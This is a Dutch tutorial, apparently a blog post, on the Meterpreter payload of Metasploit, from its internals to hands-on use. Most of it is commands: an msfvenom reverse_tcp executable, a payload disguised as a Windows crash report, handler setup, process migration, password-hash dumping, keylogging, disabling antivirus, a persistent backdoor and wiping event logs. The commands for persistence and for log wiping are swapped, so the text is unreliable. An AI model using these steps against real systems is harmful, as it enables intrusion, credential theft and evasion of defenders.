Meterpreter
Als je het over Metasploit hebt dan zeg je bijna altijd in dezelfde zin “Meterpreter”. Meterpreter is een payload welke officieel geschreven is voor Metasploit 2.x. Het server gedeelte van Meterpreter is geschreven in C en wordt nu gecompileerd met MSVC (Microsoft Visual C++) waardoor het beter portable wordt. Het client gedeelte van de Meterpreter kan in elke taal geschreven worden. Meterpreter is misschien we de allerbekendste payload en dat is niet voor niets. Waarom? Daar gaan we vandaag achter komen. In deze post leg ik je de veelzijdigheid van de Meterpreter uit.
Meterpreter kan (zeker in het Nederlands) op veel verschillende manieren uitgesproken worden. De juiste uitspraak is “Me-teur-petur”. Meterpreter is officieel geschreven door “Skape” en staat voor The Meta-Interpreter. Meterpreter is een Metasploit payload welke zo bekend is omdat hij op veel situaties toepasbaar is en al vaak zeer effectief gebleken is. Meterpreter gebruikt in-memory DLL-injectie stagers en wordt tijdens runtime over het netwerk uitgebreid.
Grofweg werkt Meterpreter als volgt:
- Het doelstation voert de “initial stager” uit. Dit is meestal een bind, reverse, findtag of passivex stager.
- De stager laadt de DLL voorafgegaan door “reflective”. De reflective stub zorgt voor het laden / injecteren van de DLL.
- De Metepreter core wordt geïnitialiseerd en maakt een TLS / 1.0-koppeling over de socket en verzendt een GET request. Metasploit ontvangt deze GET en configureert de cliënt.
- Tenslotte laadt Meterpreter de geconfigureerde extensies. Als de geïnfecteerde module administratorrechten heeft zullen stdapi en priv altijd geladen worden. Alle uitbreidingen worden over TLS / 1.0 geladen met behulp van het TLV-protocol.
Zoals je hierboven kunt lezen is de Meterpreter een zogenaamde “staged” payload. De eerste stage is het implementeren van de communicatie (reverse shell). Deze payload is zeer klein en is dus uitermate effectief. De tweede stage is het starten van communicatie over het Meterpreter Wire Protocol en het uitbreiden van de functionaliteit door meerdere extensies te laden.
Het geïnfecteerde doelstation noemen we de Meterpreter Server (Meterpreter wordt hier uitgevoerd). De cliënt waarmee Meterpreter connect noemen we de Meterpreter Client ofwel het command-and-control-center.
Als een extensie naar de server geladen wordt zal de cliënt een DLL uploaden over de gecreëerde socket. Vervolgens zal de DLL in het geheugen geladen worden. De Metasploit core is al op de server aanwezig en kan ruimte in het geheugen vrijmaken om de relatief grote DLL in te laden. Als de DLL in het geheugen staat zal deze zichzelf registreren en nu kunnen deze functies via de Metasploit client aangestuurd worden.
Zoals je kunt lezen heeft Metasploit een groot aantal voordelen, zoals:
- Encrypted communicatie over de socket via TLS.
- Er worden geen nieuwe processen gecreëerd. Meterpreter wordt in een bestaand proces geïnjecteerd (Remote Library Injection).
- Meterpreter bevindt zich volledig in het RAM geheugen. Er blijven geen Metasploit sporen op de disk achter.
- Het gebruikte TLV protocol heeft weinig beperkingen
- Nieuwe functies kunnen later toegevoegd worden zonder dat Meterpreter opnieuw opgebouwd hoeft te worden.
Het TLV protocol is een coderingsschema dat wordt gebruikt voor een optioneel informatie-element in een bepaald protocol. TLV staat voor Type-Length-Value.
De TLV structuur is een methode waarmee willekeurige waarden van willekeurige lengte kunnen worden gecommuniceerd op een manier waarbij de code welke het pakket verstuurd het formaat van de data niet hoeft te begrijpen. Meterpreter gebruikt het TLV protocol maar legt de lengte vóór het type, dus gebruikt in feite het LTV protocol. Meterpreter gebruikt het TLV protocol dus als volgt:
Length (32 bits, network byte order)
Geeft het formaat van het gehele TLV pakket aan.
Type (32 bits, network byte order)
Een willekeurige binaire code (meestal alfanumeriek) welke aangeeft in welk formaat de data van het “value” veld is verzonden.
Value
Een deel van het bericht. Dit deel heeft een variabel formaat welke gespecificeerd is in het “type” veld.
Het TLV protocol geeft Meterpreter de mogelijkheid om te communiceren over een robuust en flexibel protocol.
Meterpreter leunt niet op een native command-line zoals CMDe of Bash maar biedt ook een standaardset van commando’s. Naast de defaultcommando’s is het systeem gemakkelijk uit te breiden. Met de “Fs” extensie kunnen bijvoorbeeld bestanden ge-up-en download worden. De “NET” extensie zorgt ervoor dat er een dynamische port-forewarding over de Meterpreter verbinding welke vergelijkbaar is met SSH. Meterpreter pakketten worden gecodeerd met een XOR cipher waardoor het verkeer gemaskeerd wordt.
Meterpreter Installeren
Meterpreter kan vanuit Metaploit gemakkelijk gebruikt worden in diverse payloads. Meterpreter is momenteel gebruikt worden tezamen met bijna alle Windows payloads. Bijvoorbeeld:
- win32_bind_meterpreter
Payload binds aan een poort op de targetmachine en wacht op een inkomende verbinding. Na connectie wordt de Meterpreter server geüpload en wordt het bestaande communicatiekanaal gebruikt voor Meterpreter communicatie. - win32_reverse_meterpreter
Deze payload verbind terug naar de hacker op een vooraf gedefinieerde poort. Na connectie wordt de Meterpreter server geüpload en wordt het bestaande communicatiekanaal gebruikt voor Meterpreter communicatie. - win32_findrecvord_meterpreter
De gebruikte exploit wordt getriggered via een specifieke “file descriptor”. Deze payload zoekt naar deze gebruikte “file descriptor” en gebruikt deze om de Meterpreter server te uploaden. Het mooie aan deze payload is dat er geen extra communicatiekanaal geopend hoeft te worden waardoor firewalls omzeilt worden.
Het uploaden van Meterpreter via Metasploit gaat via de volgende stappen:
Creëer eerst een payload welke op de cliënt gedraaid moet worden. Dit kan via “msfvenom”, bijvoorbeeld:
msfvenom -p windows/meterpreter/reverse_tcp --platform win -f exe LHOST=192.168.1.1 LPORT=444 -o /root/Desktop/pack.exe |
Of via een payload generator zoals Zirikatu welke je hier kunt downloaden:
git clone https://github.com/pasahitz/zirikatu |
Als je Zirikatu wilt gebruiken doorloop je de volgende stappen;
Open de directory en maak de zirikatu.sh executable:
cd zirikatu chmod +x zirikatu.sh |
Download “mono-installer”:
apt-get install mono-complete |
Laten we de payload generator starten:
./zirikatu.sh |
De Zirikatu module neemt je aan de hand mee. Laten we kiezen voor optie 1, een reverse_tcp exploit. Vervolgens stellen we de LHOST en de LPORT in.
Dan volgen er een aantal vragen:
Verander payload icon? y
Error message tonen? y
Error message title: Windows Crash Reporter
Error Message: Deze melding krijgt u te zien omdat Explorer onverwacht gesloten is.
Output name: WindowsCrash
Vervolgens duurt het een paar seconde en is de payload gegenereerd. Als de payload klaar is zal de melding “Succesfully Payload Generated” getoond worden. De volgende vraag is of de Payload Handler gestart moet worden. We kiezen hier voor “y”.
Nu wordt Metasploit gestart met de multi/handler exploit. Vervolgens wordt de reverse_tcp payload ingesteld met de juiste variabelen en wordt de exploit gelanceerd. De sessie wordt geopend. Gebruik “sessions -i 1” om de Meterpreter prompt te openen.
Dit is een automatisch proces via de Zirikatu Payload Generator. Als je zelf een payload hebt gemaakt open de vervolgens Metasploit:
msfconsole |
Kies een exploit:
use exploit/multi/handler |
Nu selecteer je de payload.
set payload windows/meterpreter/reverse_tcp |
En uiteraard moeten we de variabelen invullen welke benodigd zijn voor de exploit en de payload:
set RHOST 192.168.1.101 set RPORT 24567 set LHOST 127.0.0.1 set LPORT 5556 |
En vervolgens vuren we de exploit met bijbehorende payload af op de target machine:
exploit |
Als alles goed gaat zie je dat Meterpreter verbonden is. De “msf>” prompt is nu veranderd in de “meterpreter>” prompt. Dit betekend dat we v.a. hier Meterpreter kunnen gebruiken. Om terug te keren kunnen we de Meterpreter instance naar de achtergrond sturen middels:
background |
Je krijgt nu de “msf>” prompt terug. Om weer terug te keren naar de Meterpreter sessie start je een interactie met de sessie:
sessions -i 1 |
Alle actieve sessies bekijken doe je met:
sessions -l |
Nu ben je terug in je Meterpreter prompt (meterpreter>) en heb je interactie met sessie 1.
Meterpreter Gebruiken
Nu gaan we Meterpreter gebruiken. Meterpreter is een uitgebreide payload met vele functies. Laten we eerst de help eens oproepen:
help |
Je ziet hier een aantal mogelijkheden waaronder read, write close initcrypt en use commando’s. Dit zijn de standaard commando’s welke uitgebreid worden nadat een Meterpreter extensie is geïnstalleerd. Een extensie installeren doen we via het “use” commando. Om bijvoorbeeld de “process” extensie gebruik je:
use -m process |
De -m flag in bovenstaande commando is om de extentie aan te roepen via zijn naam. Met de process extensie kun je processen uitvoeren en afsluiten. Als je nu de “help” bekijkt zul je zien dat de informatie uitgebreid is met het “process” commando. Om nu een lijst van actieve processen te bekijken kunnen we simpelweg het volgende commando gebruiken:
ps |
Om een process af te sluiten gebruik je:
kill PID |
Naast de “process” extensie zijn er nog een aantal andere default extensies. Waaronder
- Fs – Interactie met het filesystem van het remote systeem
- Net – Interactie met de network stack van het remote systeem
- Sys – Interactie met de environment van het remote systeem
Via het “execute” commando kunnen we commando’s uitvoeren op het remote systeem. Laten we eens een command prompt uitvoeren op de remote computer:
execute -f cmd -c |
Als het proces gestart is wordt er een kanaal aangemaakt en krijgt het kanaal een nummer. Dit is het eerste kanaal dat we aanmaken en dus krijgt dit kanaal nummer 1. Laten we verbinding maken met het kanaal:
interact 1 |
Een andere methode om een shell op het remote systeem te krijgen is via het shell commando:
shell |
Als de interactie tot stand gebracht opent zich de command prompt en kun je deze gebruiken alsof je achter de machine zit.
Meterpreter infiltreert een bestaand proces. Als het proces geen administrator rechten heeft dan wil je dat de Meterpreter actief wordt in een proces welke wel administrator rechten heeft. Op deze manier kun je veel meer op het doelsysteem. Dit doe je via het “migrate” commando. Dit commando zorgt ervoor dat Meterpreter het huidige proces verlaat en een ander proces infiltreert. Allereerst kun je met het “ps” commando de juiste PID opzoeken van een proces met meer rechten zoals bijvoorbeeld “explorer.exe”. Vervolgens gebruik je het volgende commando:
migrate PID |
Als je wilt weten als welke user Meterpreter momenteel grunedraaid wordt kun je het volgende commando gebruiken:
getuid |
Om Meterpreter als backdoor actief te houden op de server zou je de Meterpreter service kunnen installeren. De service zal starten bij het booten van de PC waardoor je altijd de PC kunt benaderen als deze aan staat. De Meterpreter service installeren doe je als volgt:
clearev |
Meterpreter kent een aantal native *nix commando’s zoals “cat”. “cd” en “pwd”. Deze commando’s hebben op het doelsysteem dezelfde functie als op je eigen *nix systeem. Een speciaal commando is het commando om de Windows logboeken te wissen. Onderstaande commando wist de Application, System en Security logboeken en wordt dus gebruikt om snel sporen te wissen:
run metsvc |
Om een bestand van het remote systeem te downloaden kun je het download commando gebruiken;
download c:\\logbestand.txt |
Let erop dat je speciale karakters escaped. Vandaar ook de dubbele slash in bovenstaande commando. Dit is eveneens zo bij een upload:
upload file.exe c:\\windows\\system32 |
Om een bestand aan te passen gebruik je het edit commando. Meterpreter zal hiervoor de Vim editor gebruiken:
edit c:\\logbestand.txt |
Je kunt ook een bestand maken om taken te automatiseren. Dit automatiseren kunnen we o.a. doen met het ‘resource’ commando. Door dit commando te gebruikten voert Meterpreter opdrachten uit die zich in een tekstbestand bevinden. Deze opdrachten zijn per regel gescheiden en worden een-voor-een uitgevoerd.
Standaard worden de opdrachten uitgevoerd in de huidige werkmap (op doelcomputer) en vanuit het bronbestand welke zich in de lokale werkdirectory van de aanvallende computer bevindt. Laten we eerst eens kijken wat deze zijn.
Vraag de lokale werk directory op:
lpwd |
Stel je voor dat je een bestand “commands.txt” uit wilt voeren vanuit “/var/msf/files” maar momenteel is de working directory “/”. Dan veranderen we de werkdirectory naar:
lcd /var/msf/files |
In deze directory maken we een “commands.txt” bestand met meerdere commando’s welke we uit gaan voeren op de doelcomputer. We gebruiken nu het commando:
resource commands.txt |
We kunnen ook specifieke libraries gebruiken zoals “espia” voor het maken van desktop screenshots, “incognito” voor het nabootsen van de gebruiker, “priv” voor het dumpen van wachtwoorden en “sniffer” voor het afluisteren van commando’s. Om bijvoorbeeld een screenshot te maken van het beeldscherm laad je eerst de “espia” library en daarna gebruik je het “screengrab” commando:
use espia
screengrab |
Ook kent Meterpreter diverse default scripts zoals:
- checkvm
- credcollect
- get_local_subnets
- getcountermeasure
- getgui
- gettelnet
- hashdump
- keylogrecorder
- killav
- metsvc
- migrate
- netenum
- prefetchtool
- vnc_oneport / vnc
- scraper
- sheduleme
- winenum
Om een script te draaien gebruik je het run commando. Om dus de meeste virusscanners uit te schakelen kun je het “killav” script gebruiken. Deze draai je als volgt:
run post/windows/manage/killav |
Dit geeft een kort overzicht van de mogelijkheden van de Meterpreter payload. Meterpreter is een fantastische payload en het is niet voor niets dat deze zo vaak gebruikt wordt. Veel opties, stealthy, snel etc. Probeer eens in een lab omgeving een Windows machine te hacken met de Meterpreter en ik weet zeker dat meteen verliefd wordt op deze payload welke nog steeds in ontwikkeling is en waarvan de mogelijkheden alleen maar uitgebreid worden. Veel plezier!